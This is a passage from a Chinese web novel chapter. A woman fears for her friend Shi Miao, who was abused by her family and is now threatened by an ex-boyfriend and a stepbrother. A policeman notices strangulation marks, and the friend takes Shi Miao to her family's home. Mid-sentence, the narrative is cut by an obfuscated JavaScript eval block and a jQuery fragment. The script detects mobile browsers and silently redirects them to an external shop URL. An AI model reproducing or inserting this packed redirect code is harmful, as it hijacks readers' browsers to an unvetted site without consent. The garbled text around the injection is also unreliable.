宋诗妍一连打了三个电话,又用微信给石淼弹了几个视频,石淼却一直没有接,她立刻察觉不妙,毫不犹豫的从床上爬起来,连家居服都没换就抓起车钥匙出门。
一路上宋诗妍不停给石淼打电话,却一直没有人接,想起前两天石淼提起了她那个便宜继弟来这边读大学,她立刻警觉起来,拨通了报警电话:“是的,她的家人曾经非法拘禁过她,我怀疑她受到了人身伤害,希望您这边能尽快出警。”
从半山别墅到石淼的公寓大概是三十多分钟的车程,可宋诗妍却趁着深夜车少全程加速,二十分钟就赶到了石淼家。
她赶到楼下时,正好遇到附近警局的警察来查看情况,那个警官年纪很小,看上去刚刚毕业,身姿挺拔,皮肤白皙,说话时却十分严肃,在电梯里一板一眼的询问情况:“你从什么时候开始联系不上她?”
“我们是前天一起旅游回来,回来后我就一直没再收到她消息,她的家庭情况比较复杂,她曾经被父亲和继母非法拘禁和殴打过。最近曾经伤害过她的继弟来到这边念书,找过她两回,讹诈了几千块钱。我很担心她被家人再次伤害。”
宋诗妍在电梯上和这位年轻警官解释了个大概,等电梯一到楼层,她就冲了出去,对着电子锁狂按密码,边按边朝门内呼唤:“淼淼,你在家吗?你没事儿吧?”
房门一开,屋内灯火通明,警官谨慎的将宋诗妍拉到身后,举着电击棒朝着门内走去:“屋里有人吗?警察!”
“阿妍......”
石淼虚弱的声音自两人身后响起,宋诗妍和警官转过头去,只见她穿着一身绸缎睡衣,颈间突兀的挂着一条黑色纱巾,看见他们两个严阵以待的姿势神情有些许的不自然。
宋诗妍从小警官身后挪出来,一把将包和车钥匙扔在茶几上,凑到石淼身边仔细检查着她身上是不是有伤口:“你怎么不接电话呀?吓死我了,我以为蒋俦那个王八蛋来找你麻烦了呢!”
石淼望着满头大汗的宋诗妍,自然而然的抬手替她擦汗:“我没事儿,刚刚我在洗澡,没听见。”
小警官听着石淼的解释,心中却有几分怀疑,她三更半夜戴着纱巾,双眼通红,茶几上赫然放着两个冒热气的茶杯,茶杯里有抽了半截被水湮灭的烟头,而刚才这位报警的姑娘说过她是独居,种种迹象表明,刚才这间屋子里还有另一个人。
“让我和这位女士单独沟通一下。”霍廷打断了宋诗妍和石淼的对话,待石淼回过神,定睛一看,才发现这位年轻的警官居然是那天在古镇清吧献唱的歌手,“这位女士,您确定没有受到任何威胁和胁迫吗?方便让我在您家探查一番吗?”
石淼刚刚和周沂缠斗过,此刻已经是筋疲力竭,周沂早就跑了,让他进去搜又能搜出什么?
“不必了,我真的没事,抱歉让你白跑一趟,请回吧。”
宋诗妍也隐约觉得有哪里不对,她趁着石淼回答警官问话的功夫在公寓里仔仔细细探查一番,却没有发现什么奇怪的踪迹。直到看到茶几上泡着烟头的水杯,她的眉头瞬间紧锁。
而霍廷察觉出这位女士并不愿意在人前和朋友面前展露脆弱,也有自己的秘密,今天注定无法让她勇敢说出真相,他先是出门朝电梯方向走了几步,突然灵机一动,转头和精神萎靡的石淼说:“石女士,你脖子上的掐痕露出来了。”
石淼慌乱的去扯脖间的黑色纱巾,再抬眼时,原本已经走远的霍廷走到她的面前,语气平静,话却严厉:“女士,当你受到伤害的时候,请不要盲目硬抗,认为你的背后空无一人,只要你勇敢求援,警察和法律定会帮你谋得公道。”
霍廷等了许久,石淼依旧没有开口的意思,他晚上还要值夜班,不能耽搁太久,只得留下一个电话号码:“我们分局的报警电话,再有人伤害你的时候,一定要报警求救。”
石淼捏着手中写着电话号码的便签,紧抿着唇。
她不是没有求救过,小学刚开始被爸爸和继母虐打的时候,她哭着求邻居,求老师救救她,可是没人愿意插手别人的家事,他们只会随口敷衍几句,任由父亲和继母粉饰太平。
更有甚者,那些看上去慈眉善目的老人会盲目崇拜权威,说父亲是个教书育人的教授,极有涵养,定是她淘气或是做了错事,才会被父亲和继母管教。
而父亲和继母则会趁机将她塑造成一个偷鸡摸狗、不学无术的野孩子,说她自由母亲离世,无人管教,才会变成这样一副不服管的倔强模样。
有了无数邻居和老师们的声援,她曾经被继母关在屋里两天两夜,差点脱水而死;也曾被虐打到身上没有一块好肉,还要强忍疼痛瘸着腿参加体育中考;为了侵占姥爷和母亲留给她的财产,他们将她送进精神病院,她被关了整整一年。
她本以为远在美国回来探亲的舅舅将她带到美国,她顺利步入大学,远离了糟糕的原生家庭,所有晦暗就会尽数退散。
可命运却给她开了天大的玩笑,她遇到了衣冠楚楚、温柔体贴的周沂,从未有人像周沂那般温柔的对待过她,她第一次体会到被珍惜、被理解的幸福,可那样的幸福太短暂,当她戳穿了周沂对阿妍的心思,他就展露出了截然不同的面孔。
他开始疯狂的在床榻上凌辱她、贬低她,甚至情绪激动时,他还曾经对她诉诸暴力,那时的她仿佛又回到了孱弱无力、被拳打脚踢的童年时光,她想逃,可是被打的时候,她浑身脱力,仿佛连哭的力气都没有。
她知道,她有病,可她救不了自己。
幼年为了说服自己活下去,她学会了自洽,她哄着自己,告诉年幼的自己被打是应该的,被打不会死掉,只要忍耐下来就好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713167|144654||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了,只要施暴者发泄过情绪,她就还能苟延残喘的活着。
后来她能和周沂分开,也是因为阿妍发现她总是身上有伤,便时刻跟着她,周沂将所有心思放在了阿妍身上,无暇和她继续纠缠,她才能顺利逃脱他的魔爪。
她一直以为七年过去了,她已经开始逐渐回归正轨,有了自己的事业,有了自力更生的能力,便可以和过去挥别。
可如今继弟频繁出现,次次都要搜刮走她的钱财;握着她私密照的周沂也因为她护着阿妍的事情,频繁威胁她,甚至对她动手。一切仿佛又回到了幼年时期,她始终挣脱不了各种束缚,飞不出暴力和痛苦的深渊。
石淼坐在穿鞋凳上神情苦涩,思绪纷乱,宋诗妍则拎着她的行李出现在她的面前:“走,跟我回家。”
“阿妍,我不能一直依赖你。”
宋诗妍蹲在石淼的面前,替她披上一件长款风衣:“你当然可以依赖我,我们说好了,会一辈子相互扶持,你忘了吗?我在越南旅居阑尾炎发作的时候,你冒着被辞退的风险飞过去照顾我;我在大学被那些混蛋人种歧视的时候,是你冲过去据理力争。淼淼,我不会丢下你的,就像你永远不会丢下我一样。来,我带你回家。”
年幼时的石淼总是幻想,要是这个世界有英雄就好了,那样的话,下一次她挨打的时候,就可以呼唤超级英雄,让他们带她离开那个不能称之为家的地方。
如今她也遇到了她的超级英雄,她说要带她回家......
宋家爸妈很欢迎石淼的到来,宋妈妈尤其喜欢温柔乖巧的石淼。
“阿姨最喜欢小姑娘了,当年我怀小妍的时候,他们都说我肚子里的是个男孩,可我却不认同,阿妍在我肚子里的时候可乖了,没让我受一点儿罪,我就知道一定是个贴心的乖女儿,果不其然,阿妍生下了就比别的孩子乖。”
石淼陪着宋妈妈插花,听着宋妈妈絮絮叨叨,她心中熨帖极了。她觉得,若是妈妈还活着,也会像现在这样陪着她说话,母女俩一起看电视、做手工,体验各种新奇的事情,分享生活中的点滴。
“可阿姨身子弱,你叔叔就没在让我生过孩子。我想有两个女儿的心愿就一直没能实现,如今淼淼你来了,我看你和阿妍站在一起,我就觉得我仿佛生了两个女儿,一偿我多年夙愿。淼淼,你听阿姨的,以后一定要多多来做客,陪陪我。”
石淼自然一百个愿意,这两天被叔叔阿姨和家中保姆们悉心照顾,她是事事顺心、诸事顺意,岂有不愿意的道理?
“只要阿姨不嫌我烦,我一定时常来陪您。”
宋妈妈刚想说话,就听见宋诗妍欢呼着从二楼跑下来:“破记录了,新专辑破纪录了!太快了,太快了!啊啊啊啊啊啊啊!我们小五破纪录了!全平台的断层TOP,楚宴深,你是我永远的神!”